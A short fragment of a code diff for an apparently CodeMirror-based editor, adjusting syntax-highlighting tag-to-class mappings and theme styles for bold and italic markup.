)
})
@@ -46,6 +46,5 @@ export const classHighlighter = tagHighlighter([
{ tag: tags.invalid, class: 'tok-invalid' },
{ tag: tags.punctuation, class: 'tok-punctuation' },
// additional
{ tag: tags.attributeName, class: 'tok-attributeName' },
{ tag: tags.attributeValue, class: 'tok-attributeValue' },
])
@@ -203,9 +203,6 @@ const staticTheme = EditorView.theme({
alignItems: 'center',
fontWeight: 'normal',
},
// Bold and italic markup (e.g. *strong* _emphasis_ in Typst and Markdown)
'.tok-strong': { fontWeight: 'bold' },
'.tok-emphasis': { fontStyle: 'italic' },
'.cm-selectionLayer': {
zIndex: -10,
},

Some files were not shown because too many files have changed in this diff Show More